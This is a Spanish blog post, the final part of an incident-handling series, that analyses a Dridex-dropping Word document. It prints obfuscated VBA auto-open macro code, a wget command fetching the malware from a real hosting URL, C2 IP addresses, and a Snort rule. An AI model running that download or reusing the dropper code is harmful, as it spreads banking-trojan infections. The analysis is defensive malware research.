Gestión de incidentes práctica. Actuaciones ante malware (III)

Una vez solicitados y aplicados los bloqueos iniciales es posible analizar el documento con más calma, esto sirve principalmente para adquirir inteligencia sobre el malware y encontrar métodos más eficientes de gestionar incidentes relacionados con él. Por lo que se volverá a repetir la fase Incident Resolution, en esta ocasión el tiempo de respuesta no es tan importante, ya se han realizado las primeras tareas de contención, la empresa debería estar libre de este Malware o camino de estarlo.

5. Fase 5 – Incident Resolution II.

5.a. Data Analysis II: La primera tarea es descargar el fichero “File.exe”. La última vez que lo comprobé aún seguía disponible (09-4-2015). También es recomendable mirar las macros por si hubiese alguna información más. Desde office nos solicita contraseña:

Con oledump parece que la macro está ofuscada:

# python oledump-0.0.12/oledump.py -p plugin_http_heuristics.py \(Payment\)\ 04.07.15.doc 
  1:       113 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      4649 '1Table'
  5:       718 'Macros/PROJECT'
  6:       131 'Macros/PROJECTwm'
  7:        97 'Macros/UserForm1/\x01CompObj'
  8:       291 'Macros/UserForm1/\x03VBFrame'
  9:        90 'Macros/UserForm1/f'
 10:      1318 'Macros/UserForm1/o'
 11: M    8196 'Macros/VBA/FILE6'
               Plugin: HTTP Heuristics plugin 
                 FILE6
                 '\x05\x12\x13L\x03X'
                 InternetCloseHandle
                 InternetOpenA
                 '"{^\xaew\xadE\xe6\x9d\x16)^'
                 '"{^\xaew\xad:\x97\xa7R\xb9@'
                 InternetCloseHandle
                 InternetOpenA
                 '"{^\xaew\xadE\xe6\x9d\x16)^'
                 '"{^\xaew\xad:\x97\xa7R\xb9@'
                 HAZ
 12: M    5225 'Macros/VBA/IDL4'
               Plugin: HTTP Heuristics plugin 
                 ' 2\xf8'
                 g^&XZmuF3X_ UB*[X
                 'hUv\x05\x18&LS'
                 '\\B7D\x0cl\x1bA4C\x18\'FY,DOz\r\x0fmC\x18*ZB&F_"\x1aF/\x1b\x07r\x1b\x06s\x00\x18&LS'
                 '\x81ME\xedzWH\xc1;AU\x81'
                 '\xc4lF\xc4lF\xc4lF\xc4lF\xc4lF'
 13: M    5803 'Macros/VBA/M'
               Plugin: HTTP Heuristics plugin 
                 M
                 CACACARDRDRDRD
 14: M    3887 'Macros/VBA/PIDLE0'
               Plugin: HTTP Heuristics plugin 
                 PIDLE0
 15: M    1810 'Macros/VBA/ThisDocument'
               Plugin: HTTP Heuristics plugin 
                 'N\x18\xac\x0e\x87.\x99\xe9\xed'
 16: m    1160 'Macros/VBA/UserForm1'
               Plugin: HTTP Heuristics plugin 
                 UserForm1
 17:      5987 'Macros/VBA/_VBA_PROJECT'
 18:       967 'Macros/VBA/dir'
 19:      4151 'WordDocument'

Las oletools nos muestran el código VBA y la ofuscación de la URL. Si fuese necesario de aquí se podrían extraer datos, o incluso recomponer las macros, pero como ya tenemos el dominio no es necesario.

# python oletools-0.08a/oletools/olevba.py 
\(Payment\)\ 04.07.15.doc 
Flags  Filename                                                                
------ ------------------------------------------------------------------------
OMASIH /home/null/Compartido/attachment/(Payment) 04.07.15.doc

(Flags: O=OLE, X=OpenXML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex-encoded strings, ?=Unknown)

===============================================================================
FILE: /home/null/Compartido/attachment/(Payment) 04.07.15.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: /home/null/Compartido/attachment/(Payment) 04.07.15.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Sub InIn()
CALTHA
End Sub

Sub autoopen()
InIn
End Sub

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
ANALYSIS:
+----------+----------+---------------------------------------+
| Type     | Keyword  | Description                           |
+----------+----------+---------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
+----------+----------+---------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO FILE6.bas 
in file: /home/null/Compartido/attachment/(Payment) 04.07.15.doc - OLE stream: u'Macros/VBA/FILE6'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Option Explicit
Public Const C1C1C1A = "BRITTANY"

#If VBA7 And Win64 Then
Public _
Declare _
PtrSafe _
Function _
C1C1C1 Lib _
"wininet.dll" Alias "InternetCloseHandle" (ByRef C26C26C26 As LongPtr) As Long
Public _
Declare _
PtrSafe _
Function _
C2C2C2 Lib _
"wininet.dll" Alias "InternetOpenA" (ByVal C27C27C27 As String, ByVal C28C28C28 As Long, ByVal C29C29C29 As String, 
    ByVal C30C30C30 As String, ByVal C31C31C31 As Long) As LongPtr
Public _
Declare _
PtrSafe _
Function _
C3C3C3 Lib _
"wininet.dll" Alias "InternetReadFile" (ByVal C32C32C32 As LongPtr, ByVal C33C33C33 As String, ByVal C34C34C34 
    As Long, C35C35C35 As Long) As Integer
Public _
Declare _
PtrSafe _
Function _
C4C4C4 Lib _
"wininet.dll" Alias "InternetOpenUrlA" (ByVal C36C36C36 As LongPtr, ByVal C37C37C37 As String, ByVal C38C38C38 
As String, ByVal C39C39C39 As Long, ByVal C40C40C40 As Long, ByVal C41C41C41 As Long) As LongPtr
#Else
Public Declare Function C1C1C1 Lib "wininet.dll" _
Alias "InternetCloseHandle" (ByRef C26C26C26 As Long) As Long
Public Declare Function C2C2C2 Lib "wininet.dll" _
Alias "InternetOpenA" (ByVal C27C27C27 As String, ByVal C28C28C28 As Long, ByVal C29C29C29 As String, ByVal 
    C30C30C30 As String, ByVal C31C31C31 As Long) As Long
Public Declare Function C3C3C3 Lib "wininet.dll" _
Alias "InternetReadFile" (ByVal C32C32C32 As Long, ByVal C33C33C33 As String, ByVal C34C34C34 As Long, 
    C35C35C35 As Long) As Integer
Public Declare Function C4C4C4 Lib "wininet.dll" _
Alias "InternetOpenUrlA" (ByVal C36C36C36 As Long, ByVal C37C37C37 As String, ByVal C38C38C38 As String, 
    ByVal C39C39C39 As Long, ByVal C40C40C40 As Long, ByVal C41C41C41 As Long) As Long
#End If
..................................................

El siguiente paso es analizar el fichero “file.exe”, para lo que disponemos de dos opciones: ejecutarlo directamente en la máquina virtual o dejar que la macro lo ejecute. Personalmente prefiero la segunda opción, al ser la opción más “natural”. Podemos hacerlo de la siguiente manera, simulando un agente especial (HAZ), emulando la descarga tal y como sería:

#wget www.droopy999.w.interia.pl/11/004.exe --user agent="HAZ"
--2015-04-08 16:48:03--  http://www.droopy999.w.interia.pl/11/004.exe
Resolviendo www.droopy999.w.interia.pl (www.droopy999.w.interia.pl)... 217.74.65.162
Conectando con www.droopy999.w.interia.pl (www.droopy999.w.interia.pl)[217.74.65.162]:80... conectado.
Petición HTTP enviada, esperando respuesta... 302 Moved Temporarily
Localización: http://droopy999.w.interia.pl/11/004.exe [siguiendo]
--2015-04-08 16:48:09--  http://droopy999.w.interia.pl/11/004.exe
Resolviendo droopy999.w.interia.pl (droopy999.w.interia.pl)... 217.74.65.162
Reutilizando la conexión con www.droopy999.w.interia.pl:80.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 80896 (79K) [application/octet-stream]
Grabando a: “004.exe”
100%[=========================================================================================
    ========>] 80.896       191K/s   en 0,4s    
2015-04-08 16:48:14 (191 KB/s) - “004.exe” guardado [80896/80896]

# nc -k -l -p 80 < 004.exe

Hacemos que el netcat le devuelva el fichero cuando se realiza la petición web, por lo que es necesario volver a ejecutar las macros.

Me gusta usar este método porque en alguna ocasión me he encontrado que la macro le pone algún parámetro especial o copia el fichero en algún directorio concreto, de esta forma simulamos completamente la ejecución.

Al observar el wireshark que estaba escuchando en la interface vboxnet0 observamos ciertos paquetes sospechosos:

Volvemos a ejecutar las macros del fichero, pero esta vez uso el procmon de las SysinternalsSuite, para monitorizar el proceso:

Vemos como el proceso WINWORD.EXE lanza un proceso c49.exe que se convierte en edg405.exe. Ese fichero se ha copiado a C:/, pero está oculto. Podéis copiarlo si ejecutáis el siguiente comando en una consola de windows: attrib -s -h -r *.*.

Vamos a simular las conexiones que realiza a las IP:

89.28.83.228:8443
78.24.218.186:8443
37.140.199.100:8443
74.119.194.18:8443

La manera más sencilla es crear cuatro nuevas interfaces virtuales en Virtualbox: vboxnet1, vboxnet2, vboxnet3 y vboxnet4.

Las configuramos de la siguiente manera:

Ifconfig vboxnet1 89.28.83.228 netmask 255.255.255.0
Ifconfig vboxnet2 78.24.218.186 netmask 255.255.255.0
Ifconfig vboxnet3 37.140.199.100 netmask 255.255.255.0
Ifconfig vboxnet4 74.119.194.18 netmask 255.255.255.0

Al poner el puerto 8443 a escuchar obtenemos el siguiente resultado:

#nc -k -l -p 8443

�L##3##
#��#�	#@db###�#�##cG#�^�V��*�2����?

Lo que parece tratarse de tráfico cifrado.

En los procesos de procmon se observa cómo se realizan muchas acciones sobre claves de registro y ficheros relacionados con Internet Explorer, por lo que podemos adelantar que parece tratarse de un troyano bancario: de un DRIDEX. Este tipo de troyano se infecta inyectado diferentes DLL, para inyectar o capturar trafico HTML y suele ser complicado de desinfectar.

5.b. Resolution Research II: Igual que antes bloquear y generar reglas de detección para las IP a las que conecta.

alert tcp any any -> [89.28.83.228,78.24.218.186,37.140.199.100,74.119.194.18] 8080 (msg:"S2-Malware 
posible Dridex contacto con CC";reference:url,https://www.securityartwork.es/; classtype:trojan-activity;
sid:XXX; rev:1;)

5.c. Action Proposed II: Aplicar reglas y bloqueo.

5.d. Erradication and Recovery II. Se busca en los logs de navegación contactos con 89.28.83.228, 78.24.218.186, 37.140.199.100 o 74.119.194.18 y se aplica la solución oportuna: formatear o esperar que el antivirus se encargue. Se podría realizar un IOC (indicador de compromiso) para facilitar la detección. Si tenemos en la empresa un controlador de dominio, una manera fácil es hacer un script en batch.

Este virus modifica diferentes ficheros y puede que cambie según el sistema en el que se ejecute, sin embargo he notado que por mucho que reinicie el equipo hay un fichero que siempre permanece: el fichero “edgXXX.exe” que se mantiene en “C:\”, en este caso “c:\edge405.exe”. Se podría hacer un pequeño programa en batch que compruebe la existencia de ese fichero y distribuirlo como un GPO, lo que nos serviría como indicador de compromiso, pero eso daría para otro artículo.

6. Fase 6 - Closing Incident. Procedemos a cerrar el incidente. Esta fase se divide en varios pasos:

6.a. Final Information: Se trata de documentar el incidente siendo lo más exhaustivo posibles, teniendo en cuenta datos como procedencia del ataque, posibles objetivos, infecciones detectadas. Hay que tener presente que se han ido documentando todos y cada uno de los pasos realizados.

6.b. Final classification. Una vez finalizada la investigación hay que clasificar correctamente el incidente. Esto se usa principalmente para realizar informes y análisis o tendencias.

6.c. Archiving. Archivamos el incidente, cuyo objetivo es no investigar dos veces el mismo virus o consultar soluciones que hayamos propuesto.

7. Fase 7 - Post analysis: Este paso es muy importante. Normalmente conviene sentarse una vez gestionado un incidente, o una vez a la semana y ver las estadísticas de incidentes, para proponer posibles soluciones y que los incidentes no se vuelvan a producir. Como normalmente se ha tardado tiempo en pensar las soluciones que se han aplicado, esta fase también es adecuada para procedimentar soluciones, aunque su objetivo principal es buscar soluciones a largo plazo.

8. Fase 8 - Proposals for improvement. Por último, queremos que el incidente nos ayude a implementar o diseñar mejoras para que determinados incidentes no se vuelvan a dar así como para mejorar el procedimiento de gestión de incidentes.

En este caso las mejoras pasan por la detección de documentos con macros, ya que bloquear este tipo de documentos es muy complicado y poco funcional, debido a su uso legítimo en el ámbito corporativo; proponerle a una organización que no permita el uso de macros es prácticamente inviable. Sí cabría valorar la realización de una campaña de concienciación para que los usuarios no ejecuten macros que vengan orígenes no confiables.

Espero que esta breve serie os haya ayudado a identificar las fases de gestión de un incidente y su funcionamiento en un caso real.

Comments

  1. He disfrutado leyendo la saga. Muy bueno.

    Sería posible otra serie del análisis de los patrones comunes que usan los malwares (aunque claro, es algo díficil de poder predecir todos los patrones) para propagarse? Como por ejemplo, las llamadas a sistema que realizan, y las secuencias de las mismas, modificaciones de sistema de archivos, registro (suponiendo que estamos en sistema Windows), etc?

    Un saludo

  2. Excelente serie de artículos Manuel. Pondré en practica toda la metodología. Muchas gracias por todo el conocimiento. Un saludo.

  3. Nedim, hay una pequeña aplicación que se llama noriben https://github.com/Rurik/Noriben entre muchas cosas te filtra los datos de procmon. Otra solución es pasar el fichero por cuckoo e intentar sacar patrones de el análisis que te da cuckoo. Sacar patrones de un nivel más bajo como ensamblador me parece complicado.
    Un saludo.